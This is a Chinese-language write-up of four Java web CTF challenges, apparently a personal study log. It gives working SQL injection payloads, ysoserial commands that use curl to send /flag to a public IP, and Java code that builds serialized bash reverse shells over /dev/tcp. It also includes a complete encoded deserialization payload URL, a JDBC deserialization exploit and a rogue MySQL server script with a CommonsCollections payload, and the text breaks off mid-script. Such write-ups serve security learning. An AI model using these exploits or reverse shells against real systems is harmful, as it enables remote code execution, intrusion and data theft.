Java Test
记录Java题的过程
maven项目快速搭建
[网鼎杯 2020 朱雀组]Think Java
源码给了 class, 反编译审计, 主要是 Test.class 和 sqlDict.class, Test.class 调用 sqlDict.class
@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}
@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}
根据 import 和 api接口判定他是 swagger-ui
import io.swagger.annotations.ApiOperation;
常用的有 swagger-ui.html, 进入后两个接口, 一个需要用户名密码登录, 另一个就是字典查询
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
直接拼接的所以尝试有没有 sql注入, jdbc连接示例
jdbc:mysql://127.0.0.1:3306/name?useUnicode=true&xx=xxxx&xx=xx
尝试 sql注入
?dbName=myapp?useUnicode=-1'union+select+database()%23
?dbName=myapp?useUnicode=-1'union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='myapp'%23
?dbName=myapp?useUnicode=-1'union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='user'%23
?dbName=myapp?useUnicode=-1'union+select+group_concat(id,'~',name,'~',pwd)+from+user%23
得到用户名密码
admin/admin@Rrrr_ctf_asde
登录成功后给了一长串data
{
"data":"Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
"msg":"登录成功",
"status":2,
"timestamps":1627307693537
}
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
参考后先将数据做处理
# -*-coding:utf-8-*-
# python 2.7
import base64
data = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
r = base64.b64decode(data).encode('hex')
print(r)
下载 , 使用
java -jar SerializationDumper-v1.13.ja
r aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c0002696474
00104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372
000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e
756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 24 - 0x00 18
Value - cn.abc.core.model.UserVo - 0x636e2e6162632e636f72652e6d6f64656c2e55736572566f
serialVersionUID - 0x76 46 43 31 7b 04 f4 3a
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Object - L - 0x4c
fieldName
Length - 2 - 0x00 02
Value - id - 0x6964
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 16 - 0x00 10
Value - Ljava/lang/Long; - 0x4c6a6176612f6c616e672f4c6f6e673b
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
cn.abc.core.model.UserVo
values
id
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 14 - 0x00 0e
Value - java.lang.Long - 0x6a6176612e6c616e672e4c6f6e67
serialVersionUID - 0x3b 8b e4 90 cc 8f 23 df
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Long - L - 0x4a
fieldName
Length - 5 - 0x00 05
Value - value - 0x76616c7565
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 16 - 0x00 10
Value - java.lang.Number - 0x6a6176612e6c616e672e4e756d626572
serialVersionUID - 0x86 ac 95 1d 0b 94 e0 8b
newHandle 0x00 7e 00 05
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.lang.Number
values
java.lang.Long
values
value
(long)1 - 0x00 00 00 00 00 00 00 01
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 07
Length - 5 - 0x00 05
Value - admin - 0x61646d696e
最下方有这样一段包含着admin字段,它就相当于保存着实质信息的数据块, 当把序列化的token字段作为Authorization去印证这个UI的user/current接口。他也会显示成功登录。这说明,他会在current接口进行反序列化!那么可以构造合适的序列化内容来构造getshell
如何构造?
java反序列化工具ysoserial
ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。
java -jar ysoserial.jar ROME "calc.exe" > h3zh1.bin
java -jar ysoserial.jar URLDNS "http://xxx" > h3zh1.bin
再转base64即可, 这里可能没有 bash 所以 shell 弹不出来, 用 curl 数据外带(命令执行那个 payload不好生成)
java -jar ysoserial.jar ROME "curl http://39.97.114.43:8888 -F file=@/flag" > outcome.bin
java -jar ysoserial.jar ROME "curl http://39.97.114.43:8888 -d @/flag" > outcome.bin
然后写个加密脚本burpsuite打过去公网监听即可
# -*-coding:utf-8-*-
# python 2.7
import base64
file = open("outcome.bin", "rb")
now = file.read()
ba = base64.b64encode(now)
# print(ba)
print("Bearer "+ba) #可以解注释此段,并注释上一条print,便于快速测试
file.close()
[V&N2020 java反序列化]EasySpringMVC
给了 war包, 解压后通过 fernflower.jar 进行反编译得到原有的 java文件
java -jar fernflower.jar .\springmvcdemo_2 .\springmvcdemo
IDEA 没有Spring项目的解决方法
IDEA是2020版本,且是旗舰版,但今天想新建一个SpringMVC项目的时候,发现没有Spring选项。
解决方案: 按快捷键组合ctrl+alt+shift+/,然后选register,接着找到javaee.legacy.project.wizard,选中,close就好了
在IDEA新建一个Spring项目,并勾选SpringMVC, 将反编译后文件夹内的com包拖到src目录,lib目录的jar复制到lib目录,WEB-INF目录也替换掉, 然后在File->Project Structure添加lib的路径
接着, 添加tomcat服务器,并设置ApplicationContext,这个值表示webapp的访问根路径
然后启动即可访问 webapp, 但是没有太大收获, 看看web.xml, web.xml是J2EE定义的描述这个webapp的一个配置文件,非常重要。内容如下。
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<filter>
<filter-name>clientinfo</filter-name>
<filter-class>com.filters.ClentInfoFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>clientinfo</filter-name>
<servlet-name>*</servlet-name>
</filter-mapping>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>*.form</url-pattern>
</servlet-mapping>
最下面这段
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>*.form</url-pattern>
</servlet-mapping>
该配置文件用servlet-mapping指明所有*.form格式路径的访问交给名为dispatcher的servlet处理。servlet就是处理HTTP请求的核心类。
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
再看这一段,表明这个dispatcher servlet是一个org.springframework.web.servlet.DispatcherServlet,也就是说这个webapp使用了Spring框架。
<filter>
<filter-name>clientinfo</filter-name>
<filter-class>com.filters.ClentInfoFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>clientinfo</filter-name>
<servlet-name>*</servlet-name>
</filter-mapping>
这一段定义了一个 filter, 表示对所有servlet的访问,都需要经过com.filters.ClentInfoFilter类。filter的作用一般是在HTTP请求到达servlet之前或之后,对HTTP请求或响应进行处理,比如检查这个请求是否拥有权限。
在对Controller仔细排查后没有发现任何有用信息,关注点转移到这个filter上。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies();
boolean exist = false;
Cookie cookie = null;
if(cookies != null) {
Cookie[] encoder = cookies;
int e = cookies.length;
for(int bytes = 0; bytes < e; ++bytes) {
Cookie cinfo = encoder[bytes];
if(cinfo.getName().equals("cinfo")) {
exist = true;
cookie = cinfo;
break;
}
}
}
获取的cookie 建立一个数组格式, 然后再传给encoder 数组, 通过循环找到cookie 中是否有命名为 cinfo 的cookie, 有就赋值exist为true, 读取结束继续往下走
byte[] var20;
if(exist) {
String var16 = cookie.getValue();
Decoder var18 = Base64.getDecoder();
var20 = var18.decode(var16);
ClientInfo var21 = null;
if(!var16.equals("") && var20 != null) {
try {
var21 = (ClientInfo)Tools.parse(var20);
} catch (Exception var14) {
var14.printStackTrace();
}
} else {
这里exit判为true就走if, 会把cinfo值下的数据 base64 解密, 然后不为空就往 if 里面的 try 走, 执行 (ClientInfo)Tools.parse(var20)
, else的那些往下走貌似没有可利用的点, 先跟进 if 里面的 Tools
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String testCall;
public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}
}
Java的反序列化和PHP反序列化类似,php在反序列化的时候会调用对应类的__wakeup()函数,而java会调用该类readObject()函数。
可以看到 readObject 是一个很危险的利用点, 直接反序列化我们传入的cinfo解密的值, 无条件命令执行
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
java.lang.ProcessBuilder.start() 方法使用此进程生成器的属性来启动一个新进程。新进程将调用command()命令和参数(假设),在工作目录所给出的directory(),有一个过程的环境所给出的environment()。此方法检查该命令是一个有效的操作系统命令。这命令是有效取决于系统,但最起码的命令必须非空字符串的非空列表。
法一:
在java中readObject可以直接读取 writeObject的内容, 由此在Tools类重写WriteObject方法
private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException {
String command[] = {"bash", "-c", "bash -i>& /dev/tcp/39.97.114.43/8888 0>&1"};
out.writeObject(command);
}
然后建立 payload
public class Main {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();
try {
Tools cinfo = new Tools();
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);
Tools.parse(bytes);
} catch (Exception e) {
e.printStackTrace();
}
}
}
法二:
让obj为Tools私有变量的testCall,通过ClentInfoFilter过滤器,出发Tools类的parse方法调用Tools类readObject(),进而调用 (new ProcessBuilder((String[])((String[])obj))).start(), 由此让testCall等于要进行的命令,就可以RCE了
package com.tools;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String testCall[];
public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])obj)).start();
}
public void setTestCall(String[] testCall) {
this.testCall = testCall;
}
}
赋值给 testCall 再写入命令执行
public class Main {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();
try {
Tools cinfo = new Tools();
String commands[] = {"bash", "-c", "bash -i>& /dev/tcp/39.97.114.43/8888 0>&1"};
cinfo.setTestCall(commands);
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后修改 cookie 的 cinfo 刷新即可
[东华杯 2021]Ezgadget
反编译, 把导出的lib包 Add as library 也就是作为资源包(可调用类), 然后 debug ctfApplication 进行调试, tools中有个类 ToStringBean
package com.ezgame.ctf.tools;
import java.io.*;
public class ToStringBean extends ClassLoader implements Serializable
{
private byte[] ClassByte;
@Override
public String toString() {
final ToStringBean toStringBean = new ToStringBean();
final Class clazz = toStringBean.defineClass(null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
}
catch (InstantiationException e) {
e.printStackTrace();
}
catch (IllegalAccessException e2) {
e2.printStackTrace();
}
return "enjoy it.";
}
}
使用了 defineClass, this.ClassByte 可控, 给出一个 defineClass 加载字节码的实例
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class Hello {
public static void main(String[] args) throws Exception{
ClassPool classpool= ClassPool.getDefault();
CtClass hello = classpool.makeClass("Hello");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
hello.makeClassInitializer().insertBefore(cmd);
byte[] classbyte = hello.toBytecode();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class testhello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", classbyte, 0, classbyte.length);
testhello.newInstance();
}
}
可以得知
defineClass(String.class, byte[].class, int.class, int.class);
String.class 是加载类的命名
byte[].class 存放的是类的字节码
第三个 int.class 默认为 0, 猜测是开始位置
第四个 int.class 传入字节码的长度
本题我们需要触发 Tools 类中的 toString 方法来触发字节码加载, 全局搜索 jdk 中 readObject 调用 toString 方法, 其实发现CC5中有个 BadAttributeValueExpException
可以触发 toString
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
我们只需要控制 val 为 ToStringBean
, 然后控制 ToStringBean
中的 this.ClassByte
为我们自己所构建的字节码即可, 构造 EXP
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
public class Poctest {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c bash$IFS$9-i>&/dev/tcp/169.254.191.77/23337<&1\");";
evil.makeClassInitializer().insertBefore(cmd);
byte[] classbyte = evil.toBytecode();
ToStringBean toStringBean = new ToStringBean();
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, toStringBean);
Field f = Class.forName("com.ezgame.ctf.tools.ToStringBean").getDeclaredField("ClassByte");
f.setAccessible(true);
f.set(toStringBean, classbyte);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeUTF("gadgets");
oos.writeInt(2021);
oos.writeObject(val);
oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
}
}
然后通过 /readObject?data= 触发
http://localhost:8888/readobject?data=rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAFnQAIWNvbS5lemdhbWUuY3RmLmNvbnRyb2xsZXIuUG9jdGVzdHQADFBvY3Rlc3QuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAVeHNyACFjb20uZXpnYW1lLmN0Zi50b29scy5Ub1N0cmluZ0JlYW4TzFRaJ9nceQIAAVsACUNsYXNzQnl0ZXQAAltCeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABhMr%2Bur4AAAAxABkBAARldmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQA2YmFzaCAtYyBiYXNoJElGUyQ5LWk%2BJi9kZXYvdGNwLzE2OS4yNTQuMTkxLjc3LzIzMzM3PCYxCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAY%3D
即可getshell, 此题考察的是 java 的反序列化, 还需要再对 java 反序列化有更深入的了解
[羊城杯 2020]A Piece Of Java
给了jar包, 反编译后查看, /hello 接口可以 GET cookie 反序列化
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
} else {
return "redirect:/index";
}
}
deserialize开始new了一个 SerialKiller
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
}
找到 .conf 文件
<whitelist>
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
</whitelist>
也就是需要满足白名单才可以进行反序列化, lib里面有 CC 3.2.1, 然后先去查找满足白名单的类, 全局搜索 Serializable, 可用的类
gdufs.challenge.web.invocation.InfoInvocationHandler
gdufs.challenge.web.model.DatabaseInfo
其中 DatabaseInfo 的 checkAllInfo 可以恶意连接数据库
public Boolean checkAllInfo() {
if (this.host != null && this.port != null && this.username != null && this.password != null) {
if (this.connection == null) {
this.connect();
}
return true;
} else {
return false;
}
}
然后因为代理对象在执行被代理对象的任何方法前都会执行重写的invoke
方法, 触发 InfoInvocationHandler 中的 invoke 从而调用 checkAllInfo
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;
public InfoInvocationHandler(Info info) {
this.info = info;
}
public Object invoke(Object proxy, Method method, Object[] args) {
try {
return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
}
这里可以借此打 JDBC 反序列化
如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。
参考: https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
构造EXP
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws Exception {
DatabaseInfo db = new DatabaseInfo();
db.setHost("81.70.101.91");
db.setPort("9999");
db.setUsername("root");
db.setPassword("&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
ClassLoader classLoader = db.getClass().getClassLoader();
Class[] interfaces = db.getClass().getInterfaces();
InfoInvocationHandler invocationHandler = new InfoInvocationHandler(db);
Info proxy = (Info) Proxy.newProxyInstance(classLoader, interfaces, invocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream obj = new ObjectOutputStream(baos);
obj.writeObject(db);
obj.flush();
obj.close();
String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(payload);
}
}
然后公网建立恶意 mysql
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
